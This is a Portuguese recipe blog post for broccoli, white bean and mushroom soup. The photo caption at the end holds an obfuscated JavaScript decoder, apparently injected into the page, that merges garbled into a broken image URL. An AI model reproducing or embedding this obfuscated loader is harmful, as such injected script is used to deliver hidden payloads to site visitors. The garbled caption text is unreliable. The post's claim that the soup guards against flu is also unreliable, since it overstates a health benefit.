Sopa de brócolos com feijão branco e cogumelos

Jan 12, 2018 | Receitas

Sopa de brócolos com feijão branco e cogumelos

Hoje trago-lhe uma receita deliciosa e muito quentinha para às noites frias! Uma óptima sugestão para os jantares ou até mesmo para um almoço de fim de semana.

Conheça a receita desta deliciosa sopa de brócolos com feijão branco e cogumelos, muito rica em vitaminas e proteínas necessárias para o nosso organismo.

Este é um manjar dos deuses que pode ajudar a proteger o nosso organismo de gripes, constipações e muitas outras doenças, já que fortalece o nosso sistema imunitário tornando-o mais resistente.

Descubra agora esta receita deliciosa para lhe aconchegar o coração e o estômago nos dias frios e chuvosos!

Sopa de brócolos com feijão branco e cogumelos | Foto: thedeliciouslife

Receita de sopa de brócolos com feijão branco e cogumelos

Ingredientes:

2 Cebolas grandes

500 gramas de feijão branco

3 Dentes de alhos

2 Cenouras

2 Curgetes

1,5 Lt de água

400 gramas de brócolos

250 gramas de cogumelos frescos inteiros ou laminados

Sal q.b

Pimenta q.b

Azeite

Salsa

Modo de preparação:

Comece por lavar muito bem os brócolos, corte os talos e reserve-os.

De seguida lave as cenouras, a curgete, a cebola e os alhos e parta-os aos pedacinhos com ou sem casca,  como preferir.

Coloque-os numa panela ao lume com água e sal e a gosto, mas sem exagerar na quantidade de sal!

Deixe cozer durante 20 minutos. Se desejar triturar os brócolos coloque-os ao lume ao mesmo tempo que os restantes legumes. Se preferir deixá-los aos pedacinhos na sua sopa, coloque-os depois de triturar o preparado inicial.

Verifique os temperos e adicione os cogumelos lavados juntamente com uns raminhos de salsa.

Quando a sua sopa já tiver levantado fervura coloque os feijões e junte um fio de azeite e uma pitada de pimenta. Depois deixe cozinhar cerca de 5 minutos e desligue o lume.

Deixe arrefecer e está pronta a ser servida e partilhada com os seus amigos e familiares.

Sopa de brócolos com feijão branco e cogumelos - Delicie-se! | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandiron.com/wp-content/uploads/2013/03/broccoli-soup-with-shrimp-and-mushroom-1.jpg"> pumpsandiron

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